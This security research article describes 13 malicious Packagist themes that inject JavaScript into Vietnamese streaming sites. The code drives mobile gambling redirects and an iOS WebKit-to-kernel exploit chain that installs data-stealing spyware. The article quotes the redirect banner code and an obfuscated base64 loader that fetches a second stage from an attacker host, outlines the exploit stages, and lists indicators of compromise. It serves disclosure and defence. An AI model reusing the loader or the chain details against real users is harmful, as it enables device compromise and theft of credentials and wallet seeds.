13 Malicious Packagist Themes Deliver iOS Spyware That Steals Crypto Wallet Seeds

Summary

Researchers discovered 13 malicious Composer theme packages on Packagist, disguised as legitimate themes for Vietnamese movie and comic streaming sites. These packages inject JavaScript to perform mobile ad-fraud and gambling redirects, and critically, on iPhones, a WebKit-to-kernel exploit chain that installs spyware. This spyware targets unpatched iOS devices (versions prior to iOS 18.7.3 or 26.2) to steal sensitive data, including cryptocurrency wallet seeds.

Full text

Back[Research][Security News]13 Malicious Packagist Themes Deliver iOS Spyware That Steals Crypto Wallet SeedsThirteen malicious Packagist themes expose visitors on unpatched iPhones to a WebKit-to-kernel exploit chain that steals device data and wallet seeds.Kush PandyaAug 31, 2026|12 min readSocket’s Threat Research Team found 13 malicious Composer theme packages on Packagist, published across five vendor namespaces, that inject JavaScript into every page of the Vietnamese movie and comic streaming sites that install them. The injected code runs two operations against a site’s visitors: a mobile ad-fraud and gambling-redirect chain, and, on iPhones, a WebKit-to-kernel exploit chain that installs spyware. We reported the iOS chain to Apple and coordinated disclosure. Apple confirmed the kernel escape was already fixed in iOS and macOS 26.1 before our report, and the two WebKit entry points are public and listed in CISA's Known Exploited Vulnerabilities catalog. Our earlier research covered six themes under a single vendor (ophimcms); this expands the confirmed set to 13 packages across five vendors and follows the chain through to the iOS payload and its most recent redeployment.The 13 packages are:vsmov: theme-dy, theme-rrdyw, theme-motchill, theme-vsmovvsphim: theme-heovl, theme-themphohaiau009: kkphim-legend, kkphim-motchillchilltvcms: theme-legendophimcms: theme-dy, theme-motchill, theme-pcc, theme-rrdywOur previous report in March regarding the initial FUNNULL campaign named six ophimcms themes (theme-dy, theme-mtyy, theme-rrdyw, theme-pcc, theme-motchill, theme-legend). The theme-legend payload has since relocated to chilltvcms/theme-legend and haiau009/kkphim-legend (counted under those vendors above).The campaign at a glance: a trojanized Composer theme injects JavaScript that runs a mobile gambling redirect and, on iPhones, a FUNNULL-hosted WebKit-to-kernel exploit chain ending in spyware and crypto-wallet theft. The poster shows the five keychain query routines, which cover seven wallet apps.Background#OphimCMS and KKPhim are open source PHP content management systems, built on Laravel, used to run Vietnamese-language movie and comic streaming sites. A site operator installs a core package plus a theme with composer require. The theme ships the site’s front-end assets: jQuery, sliders, players, and site scripts.The threat actors fork these projects under their own vendor namespaces, keep the scaffolding intact, and trojanize the shipped front-end assets. A site operator who installs one of these themes serves malicious JavaScript to every visitor. The upstream author handle remains inside the forks, so these are hostile republishes.Delivery mechanism#The malicious code ships in the theme JavaScript. The loaders gate on platform and referrer so that mobile visitors are targeted while desktop browsers, bots, and direct visits are passed over.Branch one: mobile gambling and ad-fraud#indexbottom.js and the ADTOPLB plugin in topinfo.js (theme-rrdyw) inject a fixed banner for mobile visitors that links to a redirect host and loads ad images from im[.]ue8im[.]com. The banner is built only when the visitor’s user agent matches iPhone, iPod, Android, or iOS:JavaScriptif((navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i))) { var target_url = "http://23[.]225[.]52[.]67:4466/vip344.html"; var pics=['https://im.ue8im.com/wg-2023440066/640-100-1.gif']; var picurl = pics[Math.floor(Math.random()*pics.length)]; var aa$ = $('<a target="_blank" href="' + target_url + '"><img src="' + picurl + '"></a>'); }The banner links to 23[.]225[.]52[.]67:4466/vip344.html, which meta-refreshes to 23[.]225[.]48[.]20:4466/vip/index.php, which sets a session cookie and forwards to a randomized-subdomain .vip gambling landing page on port 7740. The campaign identifier vip344 rides the chain.Branch two: the iOS WebKit to kernel chain#theme-dy appends a loader after the shipped jQuery. The loader uses a custom base64 decoder (avoiding the native atob) and fires on non-desktop platforms arriving with an external referrer. It pulls a second stage from FUNNULL infrastructure. The base64 argument decodes to union[.]macoms[.]la/jquery.min-3.6.8.js, and the loader builds a script element that points at the decoded URL:JavaScripteval('window')['KuCbGF']=function(){ (function(u,r,w,d,f,c){ var x = iScfnleC; u = decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c))); var s = d.createElement('script'); s.src=u; d.getElementsByTagName('head')[0].appendChild(s) })('aHR0cHM6Ly91bmlvbi5tYWNvbXMubGEvanF1ZXJ5Lm1pbi0zLjYuOC5qcw==', ...) }; if( !(/^Mac|Win/.test(navigator.platform)) && (document.referrer.indexOf('.') !== -1) ) KuCbGF();union[.]macoms[.]la/jquery.min-3.6.8.js injects cdn[.]data-2920[.]com/app.vue.js, which redirects to www[.]cloudfareintcdn[.]com/in-static.js (a Cloudflare-impersonating domain). That injects a hidden iframe to start-view.html, which reads the iOS version and loads a version-specific WebKit exploit.The renderer stage weaponizes two WebKit vulnerabilities, annotated in the code as CVE-2025-31277 (iOS 18.4 to 18.5) and CVE-2025-43529 (iOS 18.6 and later). Both are now public, patched, and listed in CISA’s Known Exploited Vulnerabilities catalog, and Apple has acknowledged that CVE-2025-43529 was exploited in a targeted attack against specific individuals. The chain carries per-build, per-chipset offset tables for iOS 18.4 through 18.6.x and iPhone XS through the iPhone 16 family, and targets devices that have not updated past those versions. The exploit builds arbitrary read and write inside the WebContent renderer using JavaScriptCore corruption primitives (object-address disclosure, fake objects, and a corrupted typed array). These renderer CVEs and the staging pattern overlap with the publicly documented “DarkSword” iOS exploit kit.The renderer stage reads the iPhone OS version from the user agent and fetches a payload matched to it, annotating each branch with the WebKit CVE it weaponizes.GPU process pivot#A first escape stage moves from the renderer into the GPU process, building a cross-process memory primitive with IOSurface and mach messaging and forging pointer-authentication signed pointers.Kernel escape#A second stage reaches the kernel through the AppleM2ScalerCSCDriver IOKit user client, opened from a sandboxed context by pivoting through a mediaplaybackd XPC service. The code opens the driver (IOServiceOpen type 0) and calls external method selector 1 (the “transform”) with a 432-byte input struct carrying two IOSurface IDs. This driver and interface are the same ones disclosed publicly as CVE-2026-43655 (an AppleM2ScalerCSCDriver use-after-free fixed in iOS 26.5), and the public CVE-2026-43655 proof-of-concept exercises the identical selector-1 / 432-byte / two-IOSurface-ID surface.The FUNNULL chain’s kernel bug is a distinct primitive from CVE-2026-43655. The public CVE-2026-43655 proof-of-concept is a connection-teardown use-after-free on the scaler’s shared scheduler objects, whereas the FUNNULL chain races the IOSurface backing store to obtain a kernel read and write. Apple Product Security confirmed to us that the chain’s kernel escape was already addressed in iOS and macOS 26.1, so this stage is an n-day used against devices that have not updated. The same driver received further hardening through iOS 26.5 under CVE-2026-43655.Spyware payload#On success, the final payload uses the kernel read to collect keychain databases, Wi-Fi passwords, the SMS database, the address book, Photos, browser cookies, call history, location history, and account databases, encrypts them with AES, and uploads them over HTTPS POST /upload to a rotating pool of command and control domains. The worker beacons exploitation progress to cloudfareintcdn[.]com/wd-status.html.The payload reads each sensitive store from a hardcoded path: keychain, Wi-Fi passwords, messages, contacts, cookies, browsing and call history, location, health, accounts, notes, calendar

Indicators of Compromise

• hash_sha256 — 60b6771958cb7e553994ba6752f108575ba70e02d24affb51d8936a17eb0bf5e
• hash_sha256 — d9530e8cd79ac7b3d02b04e05426653afca7075fcf7424eec4d59c6e95745933
• hash_sha256 — 92c7d246d2c163c076f783dcc19f87f5b9b9ac301b106b87a7aaea9346ce0052
• hash_sha256 — f2fdfddbc436acc24a654092f5205b2c5bd3208b126b2c2754ac63e7aea22298
• hash_sha256 — 9d6b58886189c0e23f706c32d3d8dda97b0b6d927ece6de07270813f070295b5
• hash_sha256 — de539a63cbe27bbd4a7db30fc796cd6dc5309c02ef5e60a3c5cf0835e5601283
• cve — CVE-2025-31277
• cve — CVE-2025-43529
• cve — CVE-2026-43655

Entities